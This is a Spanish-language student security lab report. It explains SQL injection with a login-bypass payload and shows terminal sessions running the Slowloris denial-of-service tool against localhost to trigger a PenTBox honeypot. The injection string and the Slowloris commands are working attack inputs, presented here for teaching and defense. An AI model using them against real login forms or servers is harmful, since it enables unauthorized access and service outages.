



Instituto Politécnico Nacional

Escuela Superior de Cómputo

GOBIERNO DE TI | COMPUTER SECURITY

Grupo: 6CV3

Profesor: PONCE SERRANO CHRISTOPHER MILIET

Alumno: Gutiérrez Espinosa Jordan Gabriel

Practica 7 – SQL injections - Honeypot

Investigacion SQL injections.

Las inyecciones SQL son un tipo de ataque cibernético que se dirige a aplicaciones y sistemas que utilizan bases de datos SQL (Structured Query Language). En un ataque de inyección SQL, un atacante introduce intencionadamente comandos SQL maliciosos en las entradas de una aplicación para que la base de datos realice acciones no autorizadas o divulgue información sensible. Estos ataques pueden tener graves consecuencias, como la exposición de datos confidenciales, la alteración o eliminación de datos, la toma de control de sistemas, y más.

Para prevenir las inyecciones SQL, es fundamental que los desarrolladores apliquen buenas prácticas de seguridad, como validar y escapar correctamente las entradas de usuario, utilizar consultas parametrizadas o procedimientos almacenados en lugar de concatenar directamente las consultas SQL, y aplicar controles de acceso adecuados. Además, es esencial mantener las bases de datos y sistemas actualizados y parcheados para mitigar vulnerabilidades conocidas. La seguridad es un aspecto crítico en el diseño y la operación de aplicaciones que utilizan bases de datos SQL para proteger la integridad y confidencialidad de los datos.

Ejemplo:

Supongamos que hay una aplicación web que permite a los usuarios iniciar sesión ingresando su nombre de usuario y contraseña. La aplicación utiliza una consulta SQL para verificar las credenciales de los usuarios en la base de datos. La consulta SQL podría verse así:

```
SELECT * FROM usuarios WHERE nombre_usuario = 'nombre' AND contraseña = 'contraseña'
```

El usuario malicioso intenta realizar una inyección SQL proporcionando la siguiente entrada como nombre de usuario:

```
nombre' OR '1'='1
```

La consulta SQL se convierte en:

```
SELECT * FROM usuarios WHERE nombre_usuario = 'nombre' OR '1'='1' AND contraseña = 'contraseña'
```

En este caso, la parte '1'='1' siempre es verdadera, lo que significa que la consulta devolverá filas de usuarios sin importar el nombre de usuario o la contraseña. Como resultado, el atacante ha eludido la autenticación y ha obtenido acceso no autorizado al sistema.

Este es un ejemplo simple, pero demuestra cómo un atacante puede manipular las consultas SQL mediante la introducción de datos maliciosos en las entradas de la aplicación para comprometer la seguridad y acceder a información confidencial o realizar acciones no autorizadas en la base de datos. Los desarrolladores deben tomar medidas para evitar este tipo de vulnerabilidades, como el uso de consultas parametrizadas o funciones de escape de datos para prevenir inyecciones SQL.

Practica Honeypot

Para esta práctica vamos a realizar un ataque DDos con la herramienta Slowloris, por lo que descargue el programa con git para copiarlo desde el repositorio en Github,

```
jordang@jordang-VirtualBox:~$ cd Escritorio
jordang@jordang-VirtualBox:~/Escritorio$ mkdir Slowloris
jordang@jordang-VirtualBox:~/Escritorio$ ls
ngrok Slowloris ssh
jordang@jordang-VirtualBox:~/Escritorio$ cd Slowloris
bash: cd: Slowloris: No existe el archivo o el directorio
jordang@jordang-VirtualBox:~/Escritorio$ cd Slowloris
jordang@jordang-VirtualBox:~/Escritorio/Slowloris$ git clone https://github.com/gkbrk/slowloris.git
Clonando en 'slowloris'...
remote: Enumerating objects: 152, done.
remote: Counting objects: 100% (78/78), done.
remote: Compressing objects: 100% (32/32), done.
remote: Total 152 (delta 50), reused 48 (delta 46), pack-reused 74
Recibiendo objetos: 100% (152/152), 25.90 KiB | 1.85 MiB/s, listo.
Resolviendo deltas: 100% (80/80), listo.
jordang@jordang-VirtualBox:~/Escritorio/Slowloris$ ls
slowloris
jordang@jordang-VirtualBox:~/Escritorio/Slowloris$ cd slowloris
jordang@jordang-VirtualBox:~/Escritorio/Slowloris/slowloris$ ls
LICENSE MANIFEST.in README.md setup.py slowloris.py
jordang@jordang-VirtualBox:~/Escritorio/Slowloris/slowloris$
```

Ya Descargado realizamos una prueba para saber si esta en línea, utilizando mi local host con el puerto que quiero atacar, revisando que funciona tan solo le doy en Ctl + c para pararlo.

```
jordang@jordang-VirtualBox:~/Escritorio/Slowloris/slowloris$ python3 slowloris.py
y 127.0.0.1 -s 500
[14-10-2023 08:48:11] Attacking 127.0.0.1 with 500 sockets.
[14-10-2023 08:48:11] Creating sockets...
[14-10-2023 08:48:11] Sending keep-alive headers...
[14-10-2023 08:48:11] Socket count: 500
[14-10-2023 08:48:26] Sending keep-alive headers...
[14-10-2023 08:48:26] Socket count: 500
[14-10-2023 08:48:41] Sending keep-alive headers...
[14-10-2023 08:48:41] Socket count: 500
[14-10-2023 08:48:56] Sending keep-alive headers...
[14-10-2023 08:48:56] Socket count: 500
[14-10-2023 08:48:56] Creating 13 new sockets...
[14-10-2023 08:49:12] Sending keep-alive headers...
[14-10-2023 08:49:12] Socket count: 500
[14-10-2023 08:49:12] Creating 142 new sockets...
^CTraceback (most recent call last):
  File "/home/jordang/Escritorio/Slowloris/slowloris/slowloris.py", line 231, in
    <module>
    main()
  File "/home/jordang/Escritorio/Slowloris/slowloris/slowloris.py", line 227, in
    main
    time.sleep(args.sleep_time)
KeyboardInterrupt
```



```
jordang@jordang-VirtualBox:~/Descargas$ ls
DVWA-master.zip pentbox-1.8.tar.gz
ngrok-v3-stable-linux-amd64.tgz pruebawordpress.WordPress.2023-10-08.xml
noip-duc-linux.tar.gz
jordang@jordang-VirtualBox:~/Descargas$ tar -xvf pentbox-1.8.tar.gz
pentbox-1.8/lib/racket/racket/l2/.svn/text-base/llc.rb.svn-base
pentbox-1.8/lib/racket/racket/l2/.svn/text-base/vlan.rb.svn-base
pentbox-1.8/lib/racket/racket/l2/.svn/text-base/snap.rb.svn-base
pentbox-1.8/lib/racket/racket/l2/.svn/text-base/vtp.rb.svn-base
pentbox-1.8/lib/racket/racket/l2/.svn/text-base/misc.rb.svn-base
pentbox-1.8/lib/racket/racket/l2/.svn/text-base/eighttotwodotthree.rb.svn-base
pentbox-1.8/lib/racket/racket/l2/.svn/text-base/ethernet.rb.svn-base
pentbox-1.8/lib/racket/racket/l2/.svn/prop-base/llc.rb.svn-base
pentbox-1.8/lib/racket/racket/l2/.svn/prop-base/vlan.rb.svn-base
pentbox-1.8/lib/racket/racket/l2/.svn/prop-base/snap.rb.svn-base
pentbox-1.8/lib/racket/racket/l2/.svn/prop-base/vtp.rb.svn-base
pentbox-1.8/lib/racket/racket/l2/.svn/prop-base/misc.rb.svn-base
pentbox-1.8/lib/racket/racket/l2/.svn/prop-base/eighttotwodotthree.rb.svn-base
pentbox-1.8/lib/racket/racket/l2/.svn/prop-base/ethernet.rb.svn-base
pentbox-1.8/lib/racket/racket/l5/.svn/text-base/dns.rb.svn-base
pentbox-1.8/lib/racket/racket/l5/.svn/text-base/hsrp.rb.svn-base
pentbox-1.8/lib/racket/racket/l5/.svn/text-base/ntp.rb.svn-base
pentbox-1.8/lib/racket/racket/l5/.svn/text-base/misc.rb.svn-base
pentbox-1.8/lib/racket/racket/l5/.svn/text-base/bootp.rb.svn-base
```

```
jordang@jordang-VirtualBox:~/Descargas/pentbox-1.8$ ruby pentbox.rb
PenTBox 1.8

  _____
 |P|E|N|T|B|O|X|
 |_____|

----- Menu                      ruby3.0.2 @ x86_64-linux-gnu

1- Cryptography tools
2- Network tools
3- Web
4- Ip grabber
5- Geolocation ip
6- Mass attack
7- License and contact
```

Ya adentro le doy a las opciones para que instale el honeypot en el puerto 2221 para esta prueba, además de colocar la opción para que guarde las alertas como una alarma para indicar si alguien cayo en la trampa.

```
-> 2

1- Net DoS Tester
2- TCP port scanner
3- Honeypot
4- Fuzzer
5- DNS and host gathering
6- MAC address geolocation (samy.pl)

0- Back

-> 3

// Honeypot //

You must run PentBox with root privileges.

Select option.

1- Fast Auto Configuration
2- Manual Configuration [Advanced Users, more options]

-> 2
```

```
-> 2

Insert port to Open.

-> 2221

Insert false message to show.

-> Prueba

Save a log with intrusions?
(y/n) -> y

Log file name? (incremental)
Default: */pentbox/other/log_honeypot.txt

->

Activate beep() sound when intrusion?
(y/n) -> n
```

Ya para la prueba mando el programa Slowloris con la ip de la local host y el puerto 2221 para que hiciera funcionar el honeypot.

```
LICENSE MANIFEST.in README.md setup.py slowloris.py
jordang@jordang-VirtualBox:~/Escritorio/Slowloris/slowloris$ python3 slowloris.p
y 127.0.0.1 -s 2221
[14-10-2023 17:08:59] Attacking 127.0.0.1 with 2221 sockets.
[14-10-2023 17:08:59] Creating sockets...
[14-10-2023 17:09:12] Sending keep-alive headers...
[14-10-2023 17:09:12] Socket count: 662
[14-10-2023 17:09:12] Creating 1559 new sockets...
[14-10-2023 17:09:31] Sending keep-alive headers...
[14-10-2023 17:09:31] Socket count: 662
[14-10-2023 17:09:32] Creating 1559 new sockets...
[14-10-2023 17:09:51] Sending keep-alive headers...
[14-10-2023 17:09:51] Socket count: 812
[14-10-2023 17:09:51] Creating 1559 new sockets...
[14-10-2023 17:10:13] Sending keep-alive headers...
[14-10-2023 17:10:13] Socket count: 812
[14-10-2023 17:10:13] Creating 1509 new sockets...
[14-10-2023 17:10:36] Sending keep-alive headers...
[14-10-2023 17:10:36] Socket count: 862
[14-10-2023 17:10:36] Creating 1477 new sockets...
[14-10-2023 17:10:58] Sending keep-alive headers...
[14-10-2023 17:10:58] Socket count: 894
[14-10-2023 17:10:58] Creating 1477 new sockets...
[14-10-2023 17:11:21] Sending keep-alive headers...
```

Ya aquí indicando aquí el ataque que indica el honeypot y quien la realiza.

```
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

INTRUSION ATTEMPT DETECTED! from 127.0.0.1:45706 (2023-10-14 17:12:22 -0600)
-----
GET /favicon.ico HTTP/1.1
Host: 127.0.0.1:2221
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Fir
efox/118.0
Accept: image/avif,image/webp,*/*
Accept-Language: es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://127.0.0.1:2221/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
```




Referencias:

Avast. (n.d.). ¿Qué es la inyección de SQL y cómo funciona? ¿Qué Es La Inyección de SQL Y Cómo Funciona? <https://www.avast.com/es-es/c-sql-injection>

KeepCoding, R. (2022, November 3). ¿Cómo hacer un ataque de inyección SQL? Keepcoding.io. <https://keepcoding.io/blog/como-hacer-un-ataque-de-inyeccion-sql/>